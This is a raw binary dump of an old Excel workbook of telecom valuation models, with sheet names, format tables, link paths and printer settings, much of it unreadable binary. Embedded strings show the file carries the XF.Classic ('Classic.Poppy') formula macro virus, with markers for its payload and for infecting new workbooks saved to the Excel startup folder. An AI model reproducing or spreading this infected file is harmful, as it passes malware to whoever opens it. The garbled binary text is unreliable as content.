ࡱ> Y\  !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWX[Root Entry Fy=3KLjZWorkbookSummaryInformation(DocumentSummaryInformation8t \p Lenovo User Ba==xKS+8X@"1[SO1[SO1[SO1[SO1[SO1" Helvetica1Arial1.Times New Roman1[SO1 [SO1Helv1.Times New Roman1 Tms Rmn1* MS Sans Serif1.Times New Roman1.Times New Roman1* MS Sans Serif1Helv1Tms Rmn1Arial1.'Times New Roman1Arial1Helv1 Helv1& Small Fonts1@Helv1Helv1[SO1[SO1[SO1* MS Sans Serif1. Times New Roman1 Arial1Arial1 Arial1Arial1wiSO1Tms Rmn1* MS Sans Serif1h8[SO1,8[SO18[SO18[SO1wiSO1wiSO1[SO1 [SO1Arial1Arial1[SO1[SO14[SO1 [SO1[SO1 [SO14[SO1<[SO1?[SO1>[SO1$[SO1 Arial1Arial1[SO1@[SO1[SO1h[SO1@[SO1[SO+""#,##0;""\-#,##05""#,##0;[Red]""\-#,##07""#,##0.00;""\-#,##0.00A""#,##0.00;[Red]""\-#,##0.00i*2_ ""* #,##0_ ;_ ""* \-#,##0_ ;_ ""* "-"_ ;_ @_ .))_ * #,##0_ ;_ * \-#,##0_ ;_ * "-"_ ;_ @_ y,:_ ""* #,##0.00_ ;_ ""* \-#,##0.00_ ;_ ""* "-"??_ ;_ @_ 6+1_ * #,##0.00_ ;_ * \-#,##0.00_ ;_ * "-"??_ ;_ @_ \$#,##0_);\(\$#,##0\)\$#,##0_);[Red]\(\$#,##0\) \$#,##0.00_);\(\$#,##0.00\)% \$#,##0.00_);[Red]\(\$#,##0.00\)+""#,##0;\-""#,##05""#,##0;[Red]\-""#,##07""#,##0.00;\-""#,##0.00A""#,##0.00;[Red]\-""#,##0.00e0_-""* #,##0_-;\-""* #,##0_-;_-""* "-"_-;_-@_-,'_-* #,##0_-;\-* #,##0_-;_-* "-"_-;_-@_-u8_-""* #,##0.00_-;\-""* #,##0.00_-;_-""* "-"??_-;_-@_-4/_-* #,##0.00_-;\-* #,##0.00_-;_-* "-"??_-;_-@_- #,##0.00_ "Yes";"Yes";"No""True";"True";"False""On";"On";"Off"],[$ -2]\ #,##0.00_);[Red]\([$ -2]\ #,##0.00\) #,##0_ 0.00_);[Red]\(0.00\) 0.00_  0.0_  yyyy"t^"m"g";@ "/f";"/f";"&T" "w";"w";"GP" "_";"_";"sQ" yyyy\-m\-d 0.000000yyyy\-m\-d\ h:mm:ss'yyyy"t^"m"g"d"e";@Q&""* _-#,##0;""* \-#,##0;""* _-"-";@* #,##0;* \-#,##0;* "-";@a.""* _-#,##0.00;""* \-#,##0.00;""* _-"-"??;@&!* #,##0.00;* \-#,##0.00;* "-"??;@0.0_);[Red]\(0.0\)=_ [$ ]* #,##0.00_ ;_ [$ ]* \-#,##0.00_ ;_ [$ ]* "-"??_ ;_ @_  00#;0##;####,##0.0_);\(#,##0.0\)0.00_);\(0.00\)#,##0.0_);[Red]\(#,##0.0\)#,##0\ \ ;\(#,##0\)\ 3#,###" "_);\(#,###" "\) #,##0\ \+#,##0.0;\-0.0\+#,##0;\-#,##0\+#,##0.00;\-#,##0.00"#,##0.0\ \ \ ;\(#,##0.0\)\ \ (#"$"#,##0.0\ \ \ ;\("$"#,##0.0\)\ \ $"$"_(#,##0.00_);"$"\(#,##0.00\)#,##0.0_)\x;\(#,##0.0\)\x#,##0.0_)_x;\(#,##0.0\)_x0.0_)\%;\(0.0\)\%#,##0.0_)_%;\(#,##0.0\)_%!"$"#,##0_);[Red]\("$"#,##0\)'""$"#,##0.00_);[Red]\("$"#,##0.00\)72_("$"* #,##0_);_("$"* \(#,##0\);_("$"* "-"_);_(@_)?:_("$"* #,##0.00_);_("$"* \(#,##0.00\);_("$"* "-"??_);_(@_)\$#,##0.00;\(\$#,##0.00\)\$#,##0;\(\$#,##0\)#,##0;\(#,##0\) yy\.mm\.dd)$"$"\ #,##0.00_-;[Red]"$"\ #,##0.00\-;6_-"$"\ * #,##0_-;_-"$"\ * #,##0\-;_-"$"\ * "-"_-;_-@_-C>_-"$"\ * #,##0.00_-;_-"$"\ * #,##0.00\-;_-"$"\ * "-"??_-;_-@_- mmm/yyyy                 %    1            '                                                                *  #` #`            &   "@ @  @ @    # $H   & (        %     @   *        !   "       6 !1 " # $ %1 $1 & @ H ' & @ H & @ H     #@ ( )P *P +  + ,"@ -" . .-      / 0 1 2 2* 3a> , * 4  5ff 6 -! 7 8`  ) + ) + + )             # !@ 9 : ;  "  <  + )    ! H* ! ! @* ! `""@ @ + =!"x"@ @ >!"x"@  =!"x"@  =!"x" @  ! `@ @+ ! `!@ @ + @ @(@ @ A B @8@ @ @8 0 C8@ @ @ @8@ @ 0@ @   (1,000) (1,000)x _Book1 _Book1_1 _Book1_2 _Book2  _CMHK_2001+ _CMHK_2001_backup1+ _CMHK_2001_revisedI" _CMHK_2001_revised_overall 052401I" _CMHK_2001_revised_overall 053001 _Comma _Currency _Currency_CMHK_2001_backup1_Currency_sensitivity 2001( #_Currency_summary for consolidation!_CurrencySpace"  _EM_CMHK/# _EM_CMHKconsolidatedY$* _EM_CMHKconsolidated Debt Ratios 05302001%_ET_STYLE_NoName_00_)& _GS Assumptions-F'  _GS_Balance(  _GS_Cash !) _GS_Cash (2)* _GS_DCF+ _GS_PNL+, _I&O Report TablesG-! _I&O Report Tables_candicetables. _Multiple/_MultipleSpace 0_Percent1 _PercentSpace)2 _report1198tables33 _report1198tables_anne=4 _report1198tables_tables_995 _RSA96_DN7N]0W:SG13e~RekeHh6RǏ zSh20% - :_eW[r 52.20% - :_eW[r 5!?20% - :_eW[r 62220% - :_eW[r 6!@40% - :_eW[r 1240% - :_eW[r 1!A40% - :_eW[r 22#40% - :_eW[r 2!B40% - :_eW[r 32'40% - :_eW[r 3!C40% - :_eW[r 42+40% - :_eW[r 4!D40% - :_eW[r 52/40% - :_eW[r 5!E40% - :_eW[r 62340% - :_eW[r 6!F60% - :_eW[r 12 60% - :_eW[r 1!G60% - :_eW[r 22$60% - :_eW[r 2!H60% - :_eW[r 32(60% - :_eW[r 3!I60% - :_eW[r 42,60% - :_eW[r 4!J60% - :_eW[r 52060% - :_eW[r 5!K60% - :_eW[r 62460% - :_eW[r 6 L6malMAFEN args.style OBlue* ColLevel_1PColumn HeadingsQColumn$HeadingsRComma [0]_!!!GOS comma zerodecT Comma_!!!GOUCurrency [0]_!!!GOVCurrency_!!!GOW Currency1 XDate YDollarZDollar (zero dec) [Euro \General ]Grey^ Hardcoded 0 _Header1 `Header2aInput [yellow]b Input Cellsc InputAread Lines Fille Linked CellsfMillares [0]_96 RiskgMillares_96 RiskhMilliers [0]_!!!GOiMilliers_!!!GOjMoneda [0]_96 RiskkMoneda_96 Risk)lMonaire [0]_!!!GO!mMonaire_!!!GOnNew Times Roman ono decpNormal - Style1q Normal_!!!GOr Normal_Book1 sNotes tNumberu per.stylev Percent [2]w Percent_!!!GOx PillarDatay PillarHeadingz PillarText{ PillarTotal|Pourcentage_pldt }PSChar ~PSDate PSDec PSHeading PSInt PSSpacer* RowLevel_1* RowLevel_2vs] load= run= NullPort=None device=HP LaserJet 4 Plus,HPPCL5MS,LPT1: [Desktop] Wallpaper=(e) TileWallpaper=0 |ws] load=c:\cstar20\cstar20.exe run= device=HP LaserJet 4 Plus,HPPCL5MS,LPT1: [Desktop] Wallpaper=C:\WINDOWS\BLUE Sheet Head sMECfcE101A sMECfd101B sMECfN101A sMECfN102A sMECftC101A sMECftE101A sstotStandard_AREAStt_HVAC Equipment (3)~vRk;`cX [0.00]_Region Orders (2)-`cX_Region Orders (2) S hh h 1h 1 h 2h 2 h 3h 3 h 4h 4 h1 蕓]]]_Book18^ĉ 8^ĉ 2 8^ĉ 3 8^ĉ 4 8^ĉ 5 8^ĉ 6c R~>f:yR_1_Book1 R~>f:yL_1_Book1}Y}Y}Y_Book1 Gl;`Gl;`'^ '^[0] {{hgUSCQyOSRR9(u{Gl;`3.5.2.1^:W~RR9{3.5.2.2Q~~RR9{3.5.2.3ITRR9{3.5.2.4~TSL?eRR9{ 3.5.3bX9(u{ 3.5.4W9(u{9(u 3.5.5T9(u{#REF!%F@ireshk01dPROJECTSGENERALTELECOMSGlobal Wirelessanne_delete.xlsShare Price PerformanceValuation SummaryBad Debtchurn Accnt Rec.Business DiversificationPrevious Share Prices Losing Weight Regional Cell. Stock DCF SummaryStock Pick Matrix Sub - KoreaSub - Hong KongSub - PhilippinesSub - ThailandSub - Malaysia Sub - ChinaSub - Indonesia Sub - India Sub - India 1 Sub - Taiwan CompetitionUS$ ARPU Ranking Kelli-ARPU Kelli-EBITDAKelli-net profits US$ rankingKelli-Currencies Kelli-DebtKelli-CashflowsCOSvGDPAddmktCons%ConspenGrowth Front table#REF!sH>@IRESHK01DProjectsGENERALTELECOMSTHAILANDTACEM-TAC.xls Factsheet Quarterly PNLRevenuesCosts Depreciation Balance Sheet Cash FlowDCF SensitivitiesEVA1EVA 2 sample NV_dataGS PNL-F GS Balance GS CashflowGS AssumptionsGS- WACCGS- DCF NotesXpressDATAMacro1v.dataNV-dataCFBS F-AssumptionsWACCDCF-F1EVAEM-TAC DCF & WACCGS Assumptions-F#REF margin cht Facts & AuditChangesInterimCapital Structure Net add chtGS-CapexGS BS-FGS-CF GS-DCF-F1F-dataReportOld Qtly Sheet QuarterlyEVA 2Concession ConversionROICCompany profileGS dataGEMGEMSSheet1EROCE GS AssumesSummaryQtlyExternalAssoc Detailed DCFCROCICompsCompany profile back-upGS data back-upCompany profile F-QtlytablesOaktree#REF!Whttp://oa3.ah.cmcc/XCOA/fwgl.nsf/all/AA35C18357FBB7C54825753400321C15/$file/06t^{]\O\2006t^wlQS~%vh{\2006t^~%vh{6R!jW\excel!jW\new acquisition model.xlsAddition of provinces (3)#REF!fhttp://oa3.ah.cmcc/XCOA/fwgl.nsf/all/AA35C18357FBB7C54825753400321C15/$file/06t^{]\O\2006t^wlQS~%vh{\2006t^~%vh{6R!jW\excel!jW\parekh\daily\Consensus Estimates.xlsConsensus Estimates#REFzF@ireshk01dPROJECTSGENERALTELECOMSTARIFFSREGIONAL FIXED LINE.xlsTable 8Table 8ASheet2evaTable 8b]B@ireshk01dPROJECTSGENERALTELECOMSINDIAMTNLTables-1015W.xls Tables-1015W#REF\http://oa3.ah.cmcc/XCOA/fwgl.nsf/all/AA35C18357FBB7C54825753400321C15/$file/06t^{]\O\2006t^wlQS~%vh{\2006t^~%vh{6R!jW\excel!jW\TEMP\NEWTABL1_97.xlsEBITDASheet1 DDETABLE ControlComments%http://oa3.ah.cmcc/XCOA/fwgl.nsf/all/AA35C18357FBB7C54825753400321C15/$file/06t^{]\O\2006t^wlQS~%vh{\2006t^~%vh{6R!jW\excel!jW\TEMP\tables\tables\EM_CTnew.xls1997Perf Sub summaryInterimsP&L NotesXpressRev-GRev-ZRev-JCost-GCost-ZCost-JCosts - Holding Co Depreciation Balance Sheet Cash FlowDCFEVA1EVA 2Addition of provincesAsset Injection Summarysample NV_datav.dataGS-Subscribers GS_cons.revGS_GDrevGS-ZJrev GS-consCost GS-GDcosts GS-ZJcostF-Assumptions F-Assumptions ContinueGS BS-FGS PNLGS-CFGS-DCFGS-WACC#REF!http://oa3.ah.cmcc/XCOA/fwgl.nsf/all/AA35C18357FBB7C54825753400321C15/$file/06t^{]\O\2006t^wlQS~%vh{\2006t^~%vh{6R!jW\excel!jW\local\projects\silkscroll\valuation\Jiangsu\CTHK_FPM_98 01 14 Credit.xls# exch_rate_1# exch_rate_2# exch_rate_3^&@GMCC_CWKDATAMJGSM_XLSHBBZBK.XLSO`~hSheet11-10glQS TykXh`Q 2.1a-yR݋9 2.2a-VgQ݋9 2.3a-/noS݋9 2.4a-VE݋9 2.5a-IP݋92.6a-wgQSwEQ+oJ 2.7a-VEQ+oJ2.8a-gy9 2.9.1a-Q~{6eeQ 2.9.2a-eQ+o8n2.9.5a-Xk 4.1-OW^QY 5.1-vQN^6e>k8-X[5.2-N^>k6.1-_Jd9(u 10-vQNAmRnjN11-gbD7B-X[7B.1-X[X['vph7.1X['vph7.28.1-V[njN 8.2-^uN(uV[DN9-(W^] z10-] zirD15-eb_njN 11-g_Jd9(u17-wgP>k18-^N^>k19-6e^>k20-vQN^N>k21-^Nzё22-vQN^N>k23-c9(u 24-Nt^Q0Rgvg:P25-gP>k 25.1-gP>k26-g^N>k 26.1-g^N>k 25-eQQ96e9hQ29-sQT^6eN30-nj,gbb 31-~%yÌT~16-*gN] z>k17-eb_njN 18.1-^N^>k 18.2-vQN^N>k 18.3-c9(u 18.4-vQ[^N>k 18.5-*gNzё 18.6-6e^>k19-nj,gbb 20-~%yÌT~23-b gNy24-(W^] z~lV[DN`Q 27.1NMRt^^_cvte28.1-nxfNDh(5uO)Sheet8Sheet7Sheet6Sheet5Sheet4Sheet3Sheet228.2-nxfNDh(?e@\)28.3-nxfNDh(yRƖV)28.4-nxfNDh([|TlQS)28.5-nxfNDh(eYO)28.6-nxfNDh(vQN5usQTlQS)36-nj,g_/e37-AS'YO^FUHBBZBK#hQSbpS#QQ@GMCC_CWKDATAhQ.XLSSheet1Sheet2Sheet3hQ#ԏV[݋#h#QEXCEL#O9e#ȉ#;N z^.SbpSZN@NTS01jhcunzippedEastern Airline FEBackup of Backup of LINDA LISTONE.xlkOpen-!@NTS01jhcCHRARBEJDEQ4DK.XLSMainTF@NTS01jhcunzippedEastern Airline FEGPGP_Ph1SBB-OIsHel-OIs.xlsSW-TEOVG@NTS01jhcunzippedEastern Airline FEGPtamerDOSTEMPGPTLBX90.xlsToolbox*POWER ASSUMPTIONSPOWER ASSUMPTIONSXI@NTS01jhcunzippedEastern Airline FESparesFILESSMCTS2SMCTSSP2.XLSeqpmad2eC@NTS01jhcunzippedEastern Airline FEGPtamerWINDOWSGP_AT.XLSFinanc. OverviewToolbox:+AWINDOWSTEMPGOLDPYR4ARENTOTOOLBOX.XLSToolboxhP@NTS01jhcunzippedEastern Airline FEfnl-gp2ToolboxGPKorOSP_Becht_Fin.xlsG.1R-Shou COP Gf$      _Fill=mmmm)0FAMERangeDJ_BALA< OOOO)0FAMERangeDJ_BALA< OOOO)0FAMERangeDJ_BALA< OOOO)0FAMERangeGCI_BAL< OOOO 0Revenu< OOOO# 0UniqueRang< OOOOa<MMMMaa<MMaaa9$ AAA_DOCTOPSAAA_SET AAA_duserOFF AAB_Addin5AAB_Description for addin 5,Description for addin 5,Description for addin 5,Description for addin 5,Description for addin 5,Description for addin 5abc<MMMM aiu_bottom<  All_00_PS: # All_00_Rev:  All_97_PS<  All_97_Rev:  All_98_PS: ! All_98_Rev:  All_99_PS: " All_99_Rev:  All_EPS_00:  All_EPS_98:  All_EPS_99: ! All_Mkt_Cap: " All_Off_High:  All_Stocks: bt: Bust:"CABLE< cap= ( Capitalization;" Cashflow=ZZZZ" Catalog_Path:" CFormats;(( chg=%Choices_Wrapper9#'%codeDestination: ! CODELK_Path:Continue:" Cov_00_PS: # Cov_00_Rev:  Cov_97_PS<  Cov_97_Rev:  Cov_98_PS: ! Cov_98_Rev:  Cov_99_PS: " Cov_99_Rev:  Cov_EPS_00:  Cov_EPS_98:  Cov_EPS_99: ! Cov_Mkt_Cap: " Cov_Off_High: ! Cov_Perf_97: ! Cov_Perf_98: ! Cov_Perf_99: " cov_perf_99b: " Cov_Univ_Avg: $Cov_Univ_Total: ! CTopics;&& dep= BDocument_array`&R.xlsSheet1) Documents_array;" DSDDE_Path: EBIT= # Excel_Version:! exch_rate_19! exch_rate_29! exch_rate_39" ExtFiles; # F_AFLCFM1=ZZZZ# F_AFLCFM2=ZZZZ# F_AFLPEM3=# F_AFLPEM4=# F_AFLPEMb=" F_AFLSD1=----" F_AFLSD2=----,F_Book_value_per_share< MM)FAMERangeDJ_BALAL28<MM)FAMERangeDJ_BALAM28<MM)FAMERangeDJ_BALAN28<MM)FAMERangeGCI_BALD62<MM)FAMERangeGCI_BALD63<MM. FAMERangeKRI_BALAL99=\\\\. FAMERangeKRI_BALAM99;\\. FAMERangeKRI_BALAN99=\\\\! Formats; ''FRC: free= FREQS;))Growth:  Growth_97:  Growth_98:  Growth_99: Hello:"hostfee: " hraiu_bottom< hvac<HWSheet! Last_Update:( Liberalization=Links:!LiveReqs:>e!Macro1:Macro recorded 12/6/97 by HK UserMakeIt:"MemFree: MemTotal: %Module.Prix_SMC9#nMorning:"&" Off_High_Cov: # Operating_Sys: OS=OTHER<WWWW PA7= PA8= PD1=SSSS PE12=  PE13=  PE6=  PE7=E E E E  PE8=~ ~ ~ ~  PE9=  perf;Perf_97: Perf_98: Perf_99: % Performance;  PH1=     PI1=D D D D  PK1=R R R R  PK3=n n n n Poppy:"$ pr_toolbox;O price;  Prix_SMC9#$ reqdetails;X! Results;  Revenue_2<MMMMrs: " s_c_list;  SCG=!Schedule:sdlfee: Setup:sFormat:*sFreq:*$ Share_Data=----! ShowDetails: !! solar_ratio:ss7fee:  sTable; #*sTopic:*subsfee: sYesNo:*Table: TableName:TACS1`   scenario 1* scenario1drivers* Input-ModuleOp Stats* Input-Module income stmt* Ebit-calc Cash Flow* Input-Module Balance Sheet* Balance-Sheetworkings* Ebit-calc working cap*Working-Capital dcf value*DCFcheck* Input-ModuleTACS3`   scenario 1* scenario1drivers* Input-ModuleOp Stats* Input-Module income stmt* Ebit-calc Cash Flow* Input-Module Balance Sheet* Balance-Sheetworkings* Ebit-calc working cap*Working-Capital dcf value*DCFcheck* Input-Module'TestAddTest RefersTo1 tim=Title:! toolbox;)  Topics;%% TotalReqs: TotalTime:# UniqueRange_0<MM# UniqueRange_1<MMV5.1Fee: VAL; wk=  wrn.output.`   scenario 1* scenario1drivers* Input-ModuleOp Stats* Input-Module income stmt* Ebit-calc Cash Flow* Input-Module Balance Sheet* Balance-Sheetworkings* Ebit-calc working cap*Working-Capital dcf value*DCFcheck* Input-Module YesNo;$$" Z32_Cost_red< ԏV[݋9" vV;h9hQSbpS9Q9$QEXCEL9O9e9ȉ9";N z^.SbpS9gSheet1&R.xls9C:\Program Files\Microsoft Office\OFFICE11\xlstart\Book1.!**Auto and On Sheet Starts Here**Classic.Poppy by VicodinESWith Lord Natas)An Excel Formula Macro Virus (XF.Classic))Hydrocodone/APAP 10-650 For Your Computer(C) The Narkotic Network 1998**Simple Payload****Set Our Values and Paths**5**Add New Workbook, Infect It, Save It As Book1.xls****Infect Workbook**Y T ?7USMO ?7~{ T ?7Yl ?7T ?7~RN ?7蕆[ ?7R{[ ?7b ?7 'YQ ?7 ***Oċ[O N[ TUS ?7@bf[NN ?7Ly ?7 t^ g e ?7]\OQ[ ?7 ]\OeUSMO)Y D ?7"R[Y ?7"s r e ccBB  {  dMbP?_*+%&ffffff?'ffffff?(?)?M~ Brother MFC-7360 Printer   4dXXA4 pX7 '''' ,@''''d[SOd[SOd[SO d'AdministratorCW412$[SO' SIMPLIFIEDCHINE APRIVPMFC-7360" d333333?333333?&43U} @ } } }  }  }  } }   @    @ +@                         (T&0b:&>:>@    ?7ggD  ۥ  dMbP?_*+%&?'?(?)?"??&U>@?7ggD  k  dMbP?_*+%&?'?(?)?"??&U>@?7ggD  qa  dMbP?_*+%&?'?(?)?"??&ccU} }  }  }                *         $, >@-7ggD  Oh+'0HP`t ¬ Lenovo UserMicrosoft Excel@q/^?3@,WHd@`Lj՜.+,0D PXx  LƷþ Sheet1Sheet2Sheet3 SKNVETTNBust ContinueDocuments_arrayHello  Χ F#Microsoft Office Excel 2003 Biff8Excel.Sheet.89qCompObj o